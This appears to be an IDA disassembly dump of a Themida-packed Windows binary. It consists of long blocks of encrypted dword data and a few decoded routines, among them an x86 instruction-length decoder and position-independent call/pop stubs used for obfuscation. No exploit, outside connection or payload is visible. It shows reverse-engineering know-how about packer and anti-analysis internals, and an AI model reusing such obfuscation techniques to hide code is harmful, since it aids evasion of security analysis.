dd 23BB0388h, 44AEA278h, 225C9EDAh, 0D294EA5Ch, 70046C61h
dd 49B3EA82h, 6C177971h, 3D4A72E3h, 3516FE9h, 3DBFE758h
dd 80CE6FE9h, 0EA5CDA16h, 8D5F9126h, 0BA4CB6D2h, 361592Fh
dd 49C1038Ah, 6366FE45h, 0BB1D150Dh, 0BCF862B8h, 2920h
dd 865CCE00h, 46C32D8Dh, 5C5EBA49h, 9F09FDD3h, 79AC235h
dd 83F56FE9h, 4C644237h, 0E93FDDDh, 225C2480h, 59B5170Fh
dd 150F1955h, 0F6F96357h, 4AC08A0h, 0BAEA5CEAh, 0DE32EBC0h
dd 8D7EFB65h, 0A43C9E96h, 0A156948h, 0D51D86C3h, 57EAh
dd 776B4100h, 0C9F1620Dh, 0D06CE907h, 5CDC1882h, 73A62D3h
dd 0F3416FE9h, 84030C89h, 4CEA5C28h, 51D9FD6Fh, 1099248Eh
dd 76E0423Ah, 0E98BDB03h, 3CAD366Fh, 6FE98B14h, 8463CD1Bh
dd 777AE0D6h, 5C2D8921h, 0B11B0F22h, 20195555h, 4Ch, 4BB5A97Fh
dd 4C88F248h, 2991865Ch, 5A4942BFh, 0E152FD65h, 6FE907B9h
dd 7EDA72C0h, 2D8D865Ch, 177F742Ah, 0BC26BE14h, 798C031h
dd 73016FE9h, 0FCEA5C17h, 2DA6ADA2h, 0A2DC67D1h, 58511B0Fh
dd 79FF5F8h, 8C865CABh, 0F632C42Eh, 1B8C865Ch, 0E90782AAh
dd 0A33B896Fh, 0E34DB7ABh, 0AFB2120Bh, 0E907315Eh, 1EFE7F6Fh
dd 72E3564Fh, 6FE9074Ah, 0CD6B0351h, 0B6160F79h, 4404FDB3h
dd 5154EC4Ah, 0CD9C7C35h, 4BD674D4h, 6FE90CDEh, 1B1E7C76h
dd 0F9822DC5h, 0E9116088h, 0CCC16F6Fh, 730B6164h, 1C1F857Bh
dd 2B7F5CC6h, 6ED81D89h, 0FFFFFE13h, 0A3CB3CC5h, 0AA6FE909h
dd 74B6F25Ch, 6FE90748h, 0E90717C3h, 767926Fh, 0B6E26FE9h
dd 316FE907h, 6FE90705h, 0E9075480h, 0BD2EB7AFh, 2FE90795h
dd 0C446970Fh, 9C9B5AEAh, 0A32A34Eh, 112FE996h, 0D1DC59C3h
dd 0F936A752h, 5C29FE8Dh, 171E7EEAh, 9C06CA4Dh, 36C6FBDh
dd 7770382Dh, 267C7F17h, 0B54C3FBCh, 1F48990Ah, 0B361300Fh
dd 0FC5255BFh, 92E67264h, 7E61B942h, 27CD9h, 0CF3B2E00h
dd 0E34D4131h, 0FB5D5545h, 11776D5Dh, 268E8373h, 4EBC1B88h
dd 6353F159h, 7A6A086Ch, 93832181h, 9E9D3B99h, 88A4CC3Dh
dd 98AB7600h, 0B7150F46h, 0D941360Ch, 3A318C6Fh, 0B68BFCA7h
dd 0D769FE7Fh, 1208DE89h, 39C442ACh, 7600800Dh, 9E948F7Eh
dd 0BBE33538h, 5D1BF093h, 731EB64Eh, 16198902h, 0ECE29070h
dd 6D43EE86h, 87771573h, 0FB842F8Dh, 0E9E7628Ah, 137B706Fh
dd 0A706614h, 0BC250872h, 248EECE6h, 0E9E77DB1h, 68FFEE6Fh
dd 2952611Bh
dd 19C45C61h, 0FF3BCBA8h, 41EC3A69h, 7513716Bh, 822D8B85h
dd 8FFFDA10h, 50BA6A89h, 8C1B126Dh, 5EA9EB3h, 0F94034A9h
dd 3282050Dh, 0CE57029Ah, 5F355Dh, 8CF64476h, 0D7BF9001h
dd 80CE7015h, 382B227Dh, 6FD8DB43h, 0E928D6FEh, 0FF97E56Fh
dd 5D33BC67h, 0A7FD0068h, 0A145CA3Dh, 0B60469FEh, 0DD3B350Bh
dd 0F7554F3Fh, 0BC198BF4h, 0AF79EBF5h, 935A812h, 7A760090h
dd 0D445F073h, 7015E8FFh, 62BDC00Eh, 0BC2DD86Bh, 69FB3C73h
dd 635A9C0Eh, 6D683A0Fh, 59DA2403h, 0A5D9104Ch, 0DC59A990h
dd 7A21CF48h, 0AC66F0E2h, 0F2D57335h, 1384Dh, 137F7200h
dd 27918575h, 3FA19989h, 55BBB1A1h, 6AD2C7B7h, 92005FCCh
dd 0A797359Dh, 0BEAE4CB0h, 0D7C765C5h, 0E2E17FDDh, 89E81081h
dd 0E4F77600h, 0E0636A92h, 7FEFC435h, 0F03E69FEh, 0B5AE84EDh
dd 9A9DFBF5h, 0C542AC44h, 7903BC6h, 80E50D7Eh, 0A6F47600h
dd 96FCC93Ch, 0BF0D7012h, 43487FCDh, 20C5A879h, 0D1h, 0DC7AE6D9h
dd 0F08EF8ECh, 8A60800h, 1EBC2218h, 33D1392Eh, 4F96BC6h
dd 170EFE9Ch, 2C2515B3h, 443E2ECCh, 0E84948E6h, 894F77h
dd 0F94B5E76h, 35E0636Ah, 0FE7FE7C4h, 0E5E83669h, 4AB0A67Ch
dd 0B00E08E0h, 0A2996F12h, 0EC4E463Eh, 512993E9h, 9BF6F957h
dd 0F5661190h, 7015F97Ch, 0B1A13F8Dh, 0C5B553BDh, 0DDCD6BCDh
dd 64D681E7h, 2A1FABD6h, 0DB8C2EC2h, 0E1D14FB9h, 43E684ECh
dd 0D10786Dh, 80754DB7h, 65D77A18h, 0E793B3E4h, 0A2989044h
dd 3FAD23Ch, 1811019Fh, 9F0C34A5h, 0C5136FE9h, 9F81A91Ah
dd 3A886FE9h, 8B6104A2h, 0D82E3193h, 3E9C966Eh, 55B9B0A0h
dd 982B22B7h, 18037CEDh, 0BC0A69FFh, 0AB0903B9h, 32E0Dh
dd 95DC0000h, 0B01C0F59h, 9FFDF7ADh, 8DEDE69Ch, 79DDD48Ah
dd 63CBC076h, 4DB5AA60h, 389E944Ah, 25877F35h, 0E786C22h
dd 54504D0Bh, 40558h, 0E8830000h, 24048704h, 4177685Ch
dd 3C890000h, 0E0895024h, 405h, 42D00h, 4870000h, 2C895C24h
dd 0DDBE5624h, 50061779h, 0C789F089h, 7C685E58h, 8900003Ch
dd 4832424h, 685D0424h, 1D1h, 8F243C89h, 2C8B0845h, 0E0895024h
dd 405h, 40500h, 4870000h, 3C8B5C24h, 0E3895324h, 4C381h
dd 0C3830000h, 241C8704h, 0FBC3E95Ch, 4BE7FFFAh, 1783C0B8h
dd 8BC50306h, 5E8C3h, 4FEC0000h, 0F5EA5470h, 0F2BF0F59h
dd 6178C181h, 11E90000h, 0B7000000h, 0FAC59408h, 78A726D5h
dd 720987F1h, 0D3DDC4E5h, 182B68h, 0F6BF0F00h, 0C5B8665Bh
dd 0F31FF10h, 481h, 61605000h, 0F2815F5Ah, 2E3A11h, 256BEF81h
dd 0F60012Ch, 389h, 5FF18000h, 6BFB56B8h, 0EF816103h, 33B42D8h
dd 18F781F5h, 665958D9h, 3989F78Bh, 0E9835BB2h, 0DE904h
dd 0AD310000h, 64CB702Ch, 8199BC4Dh, 4B8F8623h, 26850Fh
dd 13E90000h, 2F000000h, 0F2E5D8CEh, 8BC31278h, 90737A60h
dd 18E28784h, 27E9623Fh, 0B000000h, 5C10C412h, 0C7F99717h
dd 5C9B58BEh, 0FF77E94Bh, 0A321FFFFh, 0BFB93694h, 84572B2Bh
dd 978D792Ch, 0A0730A8Fh, 8D8D193Dh, 61785ADh, 82FCCABBh
dd 0A18D8917h, 52061209h, 302D9D89h, 0C7580612h, 12050585h
dd 5C5406h, 95858900h, 0C7061216h, 121BD985h, 6, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
dd 6800F93h, 89000000h, 12078985h, 0B9B5FF06h, 8B06122Dh
dd 95FFFCFBh, 6121B31h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 18h, 0EDC35545h, 17FF6DA5h, 95FF006Ah, 61219CDh
dd 4FEBC08Bh, 0D97430A0h, 532A43A2h, 0B6C2D9D4h, 0FE5EA07Eh
dd 0A62ED66Eh, 852B41B8h, 4395080Eh, 1B2A3B87h, 8C92392h
dd 0ACD8CF46h, 1E2FCEBCh, 0E902B114h, 55FA455Eh, 0B167FD15h
dd 75D18293h, 0A7020FB6h, 0B1D83A94h, 0A537E61Eh, 32D9246Fh
dd 8DC12D8Eh, 1786AE8Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1904h, 0C3574700h, 283321FFh, 0D7802E0Ch
dd 0A18D8949h, 6A061209h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 15042444h, 41000000h, 13ACC351h, 3011B50Bh
dd 85C70612h, 6120505h, 5F04h, 740AF781h, 85C73FB6h, 6121BD9h
dd 0
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_59F08F
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59F08F proc near ; CODE XREF: Themida_:0059F087p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ch
inc ecx
push ecx
retn
sub_59F08F endp
; ---------------------------------------------------------------------------
db 33h
dd 0AA51537Dh, 0F2FC7718h, 2C81B5FFh, 0F7800612h, 3195FF7Fh
dd 8906121Bh, 121F818Dh, 0FF006A06h, 1219CD95h, 0EBC08B06h
dd 2A467D6Dh, 4E014CF8h, 0E27EE82Bh, 1CFFAC69h, 0BF4A0BECh
dd 0CE44BAF2h, 58E050A7h, 70FD7444h, 0DCD18B12h, 0C374A2B0h
dd 0BBAC6505h, 34B9BD4Eh, 9036DDB9h, 3B0711E1h, 0CBAEAAAh
dd 1AEE9CA0h, 32B532D6h, 4BFA1BD2h, 9AFB91h, 0FF921F1Ch
dd 1C3AE0E2h, 16477719h, 0F89367AFh, 0BEDBD0BFh, 70CCA76Ah
dd 4E77DA2Bh, 45EDF801h, 66E970F7h, 60000002h, 0F6D98C66h
dd 840F04C1h, 35h, 0B5FF016Ah, 61203B1h, 7F35858Dh, 0D0FF0615h
dd 1958589h, 0FE8B0612h, 680CEFC1h, 20060000h, 26A006Ah
dd 0D6857h, 95FF0001h, 6120195h, 32E9h, 7185C600h, 56061228h
dd 0C530DF68h, 0E9B5FFA9h, 8D061230h, 157F3585h, 89D0FF06h
dd 1201C185h, 0FD858D06h, 50061206h, 56A406Ah, 0C195FF56h
dd 61061201h, 0C3h, 2 dup(0)
dd 0D48B5200h, 8428B60h, 87A38589h, 428B0617h, 9B85890Ch
dd 8B061787h, 85891042h, 617879Fh, 87D9B58Dh, 858D0617h
dd 5B8EA1h, 5A61D0FFh, 8B000CC2h, 1787A3B5h, 9B858B06h
dd 83061787h, 17879FBDh, 840F0006h, 7, 2E90689h, 88000000h
dd 0CF06h, 0
dd 8B520000h, 428B60D4h, 0A3858908h, 8D061787h, 17882AB5h
dd 0A1858D06h, 0FF005B8Eh, 8B5A61D0h, 1787A385h, 4C206h
dd 87A3858Bh, 8B0617h, 87A38589h, 0CF0617h, 60000000h
dd 8800B589h, 85890617h, 61787FCh, 212D858Dh, 408B0612h
dd 39858944h, 8D061788h, 17886FB5h, 0A1858D06h, 0FF005B8Eh
dd 858B61D0h, 6178800h, 0FC9D8BC3h, 0F061787h, 33C43B7h
dd 785B8BD8h, 87FC9D03h, 738B0617h, 0FCB50324h, 56061787h
dd 8B207B8Bh, 0BD031C73h, 61787FCh, 87FCB503h, 83FC0617h
dd 8B41FFC9h, 1788009Dh, 3178B06h, 1787FC95h, 4C78306h
dd 0C084028Ah, 0F840Fh, 33A0000h, 0FFDC850Fh, 4243FFFFh
dd 0FFFFE7E9h, 0F033AFFh, 0FFFFCD85h, 0E1D15FFFh, 0F04B70Fh
dd 386048Bh, 1787FC85h, 858906h, 8B061788h, 8BCE8BF0h
dd 39BD81C1h, 61788h, 0FC03000h, 0D85h, 14E8C100h, 0FFC25h
dd 8E900h, 0E8C10000h, 3FF82512h, 0BD8B0000h, 6178839h
dd 6070C83h, 8B07148Bh, 3C8124C2h, 0FC18B81h, 5784h, 39BD8100h
dd 61788h, 0FC03000h, 0D85h, 0AE8C100h, 3FFFFC25h, 8E900h
dd 0E8C10000h, 0FFF82509h, 2D007Fh, 83400000h, 0F70608h
dd 80h, 1E840Fh, 0BD810000h, 6178839h, 0C0300000h, 0E840Fh
dd 0F8250000h, 8B00003Fh, 60000080h, 60883C0h, 0A7858DCFh
dd 89061787h, 1203C185h, 3D858D06h, 89061788h, 12047D85h
dd 4858D06h, 89061788h, 12012185h, 1C8E906h, 88880000h
dd 7 dup(88880041h), 41h, 3 dup(0)
dd 88000000h, 91C40000h, 11110000h, 11111111h, 99C91111h
dd 88888888h, 8888h, 6000000h, 44440000h, 410000h, 11110000h
dd 44441111h, 2994444h, 203C988h, 88880010h, 88880011h
dd 11118888h, 16441111h, 0
dd 8800h, 88888800h, 0
dd 88880080h, 88888h, 88880000h, 88880808h, 8888h, 0
dd 88880000h, 88888888h, 88808888h, 3 dup(88888888h), 99998800h
dd 888h, 44448800h, 44444444h, 88884444h, 88888888h, 80008888h
dd 80000099h, 88888899h, 89008888h, 88888888h, 8999h, 88800000h
dd 88888088h, 88888888h, 88888088h, 88808888h, 88888888h
dd 2E260888h, 65643E36h, 0F2F06766h, 0F3h, 0FFFF0000h
dd 16E6FFFFh, 16FA0040h, 40h, 0
dd 10000h, 14h dup(0)
dd 80C30000h, 7577ED63h, 10000h, 11h dup(0)
dd 53E90000h, 55000003h, 0E8h, 0ED815D00h, 6178B87h, 0D485C760h
dd 6178Ah, 66000000h, 0A1663E81h, 0F850Fh, 85C70000h, 6178AD8h
dd 6, 24E9h, 0DC858D00h, 5006178Ah, 8B2C858Dh, 56500617h
dd 1DE8006Ah, 83000000h, 0FF2510C4h, 89000000h, 178AD885h
dd 0B5036106h, 6178AD8h, 8AD4858Bh, 0C35D0617h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
and byte ptr [ebp-5], 0
and byte ptr [ebp-6], 0
xor dl, dl
and [ebp-1], dl
cmp dword ptr [ebp+8], 0
jz loc_59F629
mov byte ptr [ebp-4], 2
mov byte ptr [ebp-3], 0FEh
mov byte ptr [ebp-2], 1
jmp loc_59F635
; ---------------------------------------------------------------------------
loc_59F629: ; CODE XREF: Themida_:0059F612j
and byte ptr [ebp-3], 0
and byte ptr [ebp-2], 0
mov byte ptr [ebp-4], 4
loc_59F635: ; CODE XREF: Themida_:0059F624j
push ebx
push esi
push edi
loc_59F638: ; CODE XREF: Themida_:0059F68Dj
; Themida_:0059F6A9j ...
mov edi, [ebp+0Ch]
mov esi, [ebp+10h]
movzx ecx, dl
inc dl
mov al, [edi+ecx]
mov [esi+ecx], al
xor cl, cl
loc_59F64B: ; CODE XREF: Themida_:0059F672j
movzx ebx, cl
push ebp
call $+5
pop ebp
sub ebp, 6178C3Eh
lea ebp, [ebp+6178AB4h]
add ebp, ebx
cmp [ebp+0], al
pop ebp
jz loc_59F678
inc cl
cmp cl, 0Bh
jb loc_59F64B
loc_59F678: ; CODE XREF: Themida_:0059F667j
cmp cl, 0Bh
jz loc_59F6D5
cmp al, 66h
jnz loc_59F6B6
cmp byte ptr [ebp-5], 0
jnz loc_59F638
cmp byte ptr [ebp-3], 0
mov byte ptr [ebp-5], 1
jnz loc_59F6AE
mov byte ptr [ebp-4], 2
mov byte ptr [ebp-3], 0FEh
jmp loc_59F638
; ---------------------------------------------------------------------------
loc_59F6AE: ; CODE XREF: Themida_:0059F69Bj
and byte ptr [ebp-3], 0
mov byte ptr [ebp-4], 4
loc_59F6B6: ; CODE XREF: Themida_:0059F683j
cmp al, 67h
jnz loc_59F638
cmp byte ptr [ebp-6], 0
jnz loc_59F638
xor byte ptr [ebp-2], 1
mov byte ptr [ebp-6], 1
jmp loc_59F638
; ---------------------------------------------------------------------------
loc_59F6D5: ; CODE XREF: Themida_:0059F67Bj
mov ebx, [ebp+14h]
mov cl, dl
dec cl
cmp al, 0Fh
mov [ebx], cl
jnz loc_59F701
movzx ecx, dl
inc dl
mov al, [edi+ecx]
movzx edi, al
shr edi, 1
mov [esi+ecx], al
add edi, 80h
jmp loc_59F706
; ---------------------------------------------------------------------------
loc_59F701: ; CODE XREF: Themida_:0059F6E0j
movzx edi, al
shr edi, 1
loc_59F706: ; CODE XREF: Themida_:0059F6FCj
push ebp
call $+5
pop ebp
sub ebp, 6178CF6h
lea ebp, [ebp+61789B4h]
add ebp, edi
mov bl, [ebp+0]
pop ebp
mov cl, al
and cl, 1
mov [ebp-7], cl
shl cl, 2
shr bl, cl
test bl, 8
mov [ebp-6], bl
jz loc_59F888
mov ebx, [ebp+0Ch]
mov byte ptr [ebp+0Bh], 1
movzx ecx, dl
inc dl
mov bl, [ebx+ecx]
mov [ebp+17h], dl
mov dl, bl
mov [esi+ecx], bl
and dl, 7
movzx ecx, bl
cmp dl, 4
setz byte ptr [ebp-5]
shr ecx, 6
sub ecx, 0
jz loc_59F7CC
dec ecx
jz loc_59F7AF
dec ecx
jnz loc_59F81F
cmp byte ptr [ebp-2], 0
jnz loc_59F81B
cmp byte ptr [ebp-5], 0
jz loc_59F78E
mov byte ptr [ebp+0Bh], 2
loc_59F78E: ; CODE XREF: Themida_:0059F784j
add byte ptr [ebp+0Bh], 4
push ebp
call $+5
pop ebp
sub ebp, 6178D82h
mov dword ptr [ebp+6178AD4h], 1
pop ebp
jmp loc_59F81F
; ---------------------------------------------------------------------------
loc_59F7AF: ; CODE XREF: Themida_:0059F769j
cmp byte ptr [ebp-2], 0
jnz loc_59F7F9
cmp byte ptr [ebp-5], 0
jz loc_59F7F9
mov byte ptr [ebp+0Bh], 2
jmp loc_59F7F9
; ---------------------------------------------------------------------------
loc_59F7CC: ; CODE XREF: Themida_:0059F762j
cmp byte ptr [ebp-2], 0
jnz loc_59F812
cmp byte ptr [ebp-5], 0
jz loc_59F801
movzx ecx, byte ptr [ebp+17h]
mov edx, [ebp+0Ch]
mov cl, [edx+ecx]
and cl, 7
cmp cl, 5
jnz loc_59F7F9
mov [ebp+0Bh], cl
loc_59F7F9: ; CODE XREF: Themida_:0059F7B3j
; Themida_:0059F7BDj ...
inc byte ptr [ebp+0Bh]
jmp loc_59F81F
; ---------------------------------------------------------------------------
loc_59F801: ; CODE XREF: Themida_:0059F7DAj
cmp dl, 5
jnz loc_59F81F
mov [ebp+0Bh], dl
jmp loc_59F81F
; ---------------------------------------------------------------------------
loc_59F812: ; CODE XREF: Themida_:0059F7D0j
cmp dl, 6
jnz loc_59F81F
loc_59F81B: ; CODE XREF: Themida_:0059F77Aj
mov byte ptr [ebp+0Bh], 3
loc_59F81F: ; CODE XREF: Themida_:0059F770j
; Themida_:0059F7AAj ...
dec byte ptr [ebp+0Bh]
jz loc_59F84D
movzx ecx, byte ptr [ebp+0Bh]
mov [ebp+8], ecx
loc_59F82F: ; CODE XREF: Themida_:0059F845j
movzx esi, byte ptr [ebp+17h]
mov ecx, [ebp+0Ch]
mov edx, [ebp+10h]
inc byte ptr [ebp+17h]
dec dword ptr [ebp+8]
mov cl, [ecx+esi]
mov [edx+esi], cl
jnz loc_59F82F
mov esi, edx
loc_59F84D: ; CODE XREF: Themida_:0059F822j
and al, 0FEh
cmp al, 0F6h
jnz loc_59F882
cmp edi, 7Fh
ja loc_59F882
test bl, 38h
jnz loc_59F882
cmp byte ptr [ebp-7], 0
jz loc_59F87C
movzx eax, byte ptr [ebp-4]
jmp loc_59F87F
; ---------------------------------------------------------------------------
loc_59F87C: ; CODE XREF: Themida_:0059F86Dj
push 1
pop eax
loc_59F87F: ; CODE XREF: Themida_:0059F877j
mov [ebp-1], al
loc_59F882: ; CODE XREF: Themida_:0059F851j
; Themida_:0059F85Aj ...
mov dl, [ebp+17h]
mov bl, [ebp-6]
loc_59F888: ; CODE XREF: Themida_:0059F732j
mov al, bl
and eax, 7
sub eax, 4
jz loc_59F8B3
dec eax
dec eax
jz loc_59F8A9
and bl, 7
add [ebp-1], bl
jmp loc_59F8BB
; ---------------------------------------------------------------------------
loc_59F8A9: ; CODE XREF: Themida_:0059F898j
mov al, [ebp-3]
add al, 6
jmp loc_59F8B8
; ---------------------------------------------------------------------------
loc_59F8B3: ; CODE XREF: Themida_:0059F890j
mov al, [ebp-3]
add al, 4
loc_59F8B8: ; CODE XREF: Themida_:0059F8AEj
add [ebp-1], al
loc_59F8BB: ; CODE XREF: Themida_:0059F8A4j
mov al, [ebp-1]
dec byte ptr [ebp-1]
test al, al
jz loc_59F8E3
movzx ecx, byte ptr [ebp-1]
inc ecx
loc_59F8CE: ; CODE XREF: Themida_:0059F8DDj
mov edi, [ebp+0Ch]
movzx eax, dl
inc dl
dec ecx
mov bl, [edi+eax]
mov [esi+eax], bl
jnz loc_59F8CE
loc_59F8E3: ; CODE XREF: Themida_:0059F8C3j
pop edi
pop esi
mov al, dl
pop ebx
leave
retn
; ---------------------------------------------------------------------------
dw 858Dh
dd 6178B81h, 2C6D8589h, 11DC0612h, 0BD6E1CDAh, 61BC28FEh
dd 7323F1BCh, 374305A8h, 727879D4h, 8797FF05h, 87508246h
dd 0F3E03038h, 7E8D2A8h, 8A4E1EACh, 31F437A8h, 74F63F04h
dd 5DB93005h, 34346205h, 176E3005h, 0BE6DF35Fh, 0B69F1451h
dd 2CC91441h, 75E63005h, 35F3F357h, 4D735E7h, 0BAD3F26Ah
dd 376E3005h, 37345DECh, 378BD905h, 0B06A3005h, 8D26BEAAh
dd 0B31803AFh, 9C1F4375h, 8A5F0993h, 317C3974h, 3B33F05h
dd 5D9B3005h, 34256305h, 17E63005h, 0BE28F35Eh, 0B6BD1459h
dd 2BD81441h, 746E3005h, 0DEB3F356h, 75EDB75Dh, 0DE77122Ah
dd 37E63327h, 377336ECh, 0AB339905h, 0BADE57BDh, 20E13080h
dd 0EDB65603h, 7F218989h, 0A7F3FE3Bh, 37E63AECh, 150D1805h
dd 0C6A85336h, 67982FFBh, 38FE79B0h, 37373B88h, 379DD905h
dd 0FCEB3005h, 1B763B07h, 5FBCB163h, 0D53CBDA0h, 67DA278Bh
dd 69F8C685h, 31DF6395h, 3B9B3005h, 0B6CE8694h, 6D0CBA60h
dd 0ACC6605Ch, 0C9325695h, 2741A5FAh, 0A9DF3617h, 373724ECh
dd 0DA17BB05h, 9871834h, 5AC80F71h, 0D621CE7Fh, 42E0C346h
dd 0DE1CBBABh, 376E3009h, 642BA4F4h, 664F3BA3h, 0A7036720h
dd 2C778D86h, 42733617h, 0EA04B30Ch, 37DA2212h, 643E2971h
dd 4D8FF08Eh, 0BE9B3001h, 25CDB580h, 387BBD03h, 0C87524ABh
dd 0B4E16BD6h, 25CBEDB8h, 201A3003h, 4D8F6355h, 0BE9B3001h
dd 25CDB580h, 0C97BBD03h, 0C87524AFh, 0B7E16BD6h, 3F34E6C8h
dd 7B6E3005h, 2519FA77h, 618E8C6Ch, 37CD36ECh, 0ECB8F705h
dd 6DAA46F9h, 5179BB5Ah, 5937EF84h, 0B984AD88h, 375D3612h
dd 3798D854h, 6EED3005h, 7B6F69C6h, 73F23421h, 37A33421h
dd 669D3005h, 8DCECAC6h, 0CFD7800Fh, 5161BB63h, 0B240C08Eh
dd 31F14808h, 0DF25306Fh, 37B93006h, 691F6E25h, 334A448Ch
dd 33137484h, 379B3019h, 0E90E6643h, 0E0D287Bh, 0FCA596Ch
dd 37D3E0FAh, 37DFD853h, 694E3005h, 43BE6EC6h, 731A3421h
dd 37D63421h, 61A03005h, 0A1DEB3C6h, 2F9C48BEh, 0F7D7C8BDh
dd 3746B40Ah, 0BACB3005h, 25D68598h, 0B12FB003h, 37E633BDh
dd 0D48CC805h, 37B920EDh, 0BCF0FE05h, 0E4FCDBDEh, 71253D68h
dd 1CF2EB74h, 0AA406E28h, 31F1BEF7h, 0DF24306Fh, 37B93006h
dd 681F6F25h, 334A4C8Ch, 33137484h, 379B3018h, 2A0E6742h
dd 6AC0EB5Dh, 64516E39h, 37AAD969h, 18733005h, 4CDF6F2Ch
dd 0D0083331h, 0F53F6915h, 2A263C56h, 3A63BDB3h, 0DE75277Dh
dd 37B9300Ah, 3A9FCBCDh, 6D2E201Dh, 0A9D29CCAh, 0C8DB7385h
dd 380D3BD5h, 37E64581h, 65735A05h, 37B933EDh, 0F4861005h
dd 133AB95Fh, 1373B101h, 379B2701h, 0F49F7205h, 4307CD92h
dd 0AAFEF88Eh, 31AB7DB0h, 0DF8F306Fh, 376E3006h, 6CF46B25h
dd 33BF6C8Ch, 33E97484h, 37E63011h, 71B06346h, 4D2F8A63h
dd 37DC31BDh, 0C5D93F05h, 0E0B18E54h, 0C8C5447Bh, 392463E6h
dd 45E63005h, 49864E00h, 7DB76760h, 0E2A63A21h, 0B60E69A3h
dd 0EBDFBAD4h, 0AA16516Ah, 31DABEF2h, 10DF3BAh, 52598E31h
dd 0B234331Eh, 31CB4808h, 0C6A4B163h, 38E7CF96h, 0F790C0BAh
dd 37A9B40Ah, 378C3005h, 3770D853h, 69993005h, 43556EC6h
dd 73EF3421h, 37233421h, 61DD3005h, 3025EFC6h, 0E63005h
dd 711D9EE4h, 0BFB66240h, 37DC3006h, 69E5D185h, 7A82AD88h
dd 0DEFB3617h, 37CD300Dh, 1EA49037h, 6BAE5FD1h, 37BFB70Ah
dd 0B9D33005h, 376E3005h, 37348864h, 0CBFB3005h, 560ABB63h
dd 0AE50D3FAh, 0BC30C08Eh, 0D704BDFEh, 0BADA278Bh, 20FCFF88h
dd 6B4A8803h, 0B2A8BA4Eh, 31DF3E24h, 0AA40FF2Eh, 31F1BEF7h
dd 0DF24306Fh, 37B93006h, 681F6F25h, 334A4C8Ch, 33137484h
dd 5E98318h, 0C08BA4F3h, 6AD58Ah, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1C0424h, 55450000h, 0A3E816C3h, 6E1EA98Dh
dd 0F516336h, 0F5ECEB7h, 0C38BFABFh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Dh, 5DC35141h, 0DBD52149h, 21D88ACDh
dd 10C28116h, 0FC3BA6C0h, 0BE66C08Bh, 0BD83971Ch, 6121B91h
dd 83097500h, 1217DDBDh, 19740006h, 0C08B5350h, 47AB8h
dd 95858900h, 8D061222h, 14AE769Dh, 5BD3FF06h, 0DDBD8358h
dd 61217h, 53501774h, 47AB8h, 95858900h, 8D061222h, 14AB179Dh
dd 5BD3FF06h, 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1704h, 0C3514100h, 0CC421558h, 0DE857h, 2C580000h, 6F2ED1EDh
dd 81B866D7h, 0FC0EF84Ch, 0C08B5F5Ah, 0FE8h, 419F8A00h
dd 954F37C0h, 647A5330h, 61FD1712h, 0D71BA66h, 0F8BF0F58h
dd 678CC081h, 0BA660000h, 0C2BE55F3h, 0F000019h, 188BFBBFh
dd 811DEA80h, 988099C3h, 0F88B6674h, 89EDC381h, 0C2815D7Eh
dd 2A472768h, 0BC5CC381h, 0D78A1043h, 0F9601889h, 6870Fh
dd 0E9810000h, 10A09599h, 96E88161h, 600673EDh, 2810Fh
dd 5E530000h, 8993BB60h, 0BF0F237Eh, 816161DFh, 73ED92C0h
dd 83EAB106h, 850F01EEh, 0FFFFFFA2h, 0DE8F5h, 40E00000h
dd 71522E0Ah, 0EE1970Fh, 5A5BB36Ch, 8E953h, 29B50000h
dd 0C70A4B45h, 8158B5A1h, 6528C2h, 9FCB8100h, 0BE504BAFh
dd 1C958170h, 6854EE81h, 0BF661C95h, 0A8BEE5Ah, 81FEB70Fh
dd 5B0821C1h, 0AE96Ch, 0CC650000h, 6D2F33AEh, 76EC99B1h
dd 629EF181h, 0E8604E34h, 8, 0A88FA597h, 33CF275Ah, 8F0Fh
dd 0F590000h, 580h, 6B8CBE00h, 81614F28h, 827724E9h, 0F51FC18h
dd 68Fh, 860F00h, 8F000000h, 0EA83F802h, 17890F04h, 60000000h
dd 880Fh, 0AE90000h, 0C1000000h, 9633670Fh, 0FBD675F1h
dd 0F4E6141h, 0FFFF8185h, 0C78166FFh, 30E97B63h, 7000000h
dd 16078Bh, 0Ah dup(0)
dd 0E9000000h, 501h, 6C0A7669h, 801E887Ch, 98369890h, 0AE4CB2A8h
dd 0C361C9BEh, 9489FB56h, 0A79E8E2Ch, 0BCB5A543h, 0D4CEBE5Ch
dd 78D9D876h, 9CDF07h, 89DBEE76h, 5D57150Fh, 4144A89Fh
dd 0B8BB53EBh, 7A50D02h, 14BF1D17h, 78E2483Eh, 87E5DF95h
dd 70DACE84h, 97F5EFC5h, 36ED4A2Dh, 0DA4BD456h, 6FE907B2h
dd 29016BB9h, 4333D12Fh, 5C4CEA4Ah, 82580363h, 7DA51689h
dd 8C6FE907h, 593CA63Eh, 4548ACA3h, 804F2FEEh, 99892787h
dd 95BD2E9Fh, 0AB6FE907h, 55352B2h, 0F7ECC26Dh, 0CC368C8Fh
dd 76B98E9h, 631A6FE9h, 7B58AF83h, 0C49FD81Dh, 45000000h
dd 3A62D35Ch, 416FE907h, 0B7B189F3h, 7BED5659h, 0C5498112h
dd 9508720Bh, 6FE9DE6Bh, 7FF0791Ah, 6FE9DE57h, 0DAE1866h
dd 5202592Dh, 149D81Eh, 0EF000000h, 2D9E1B0Fh, 6FE90705h
dd 7CFF768h, 90DE6FE9h, 0AB4391h, 62CC362Ah, 6BD5C97Fh
dd 8FF3EAC0h, 0E9CC368Ch, 0FD6EF780h, 6FE907D5h, 0DB0396E4h
dd 0E26FE907h, 6C2F3D98h, 0EA634F3h, 10D6CCA4h, 1A1DB519h
dd 83F46F64h, 6FE9F55Bh, 797C1462h, 0FEEE4927h, 69611D34h
dd 0B6080B75h, 0AFC1B988h, 7C3BD4E3h, 0ED8E2D9Ch, 685F1D17h
dd 13AB0104h, 0AF50BA10h, 0A60C00CFh, 91CE46Dh, 6A43CE1h
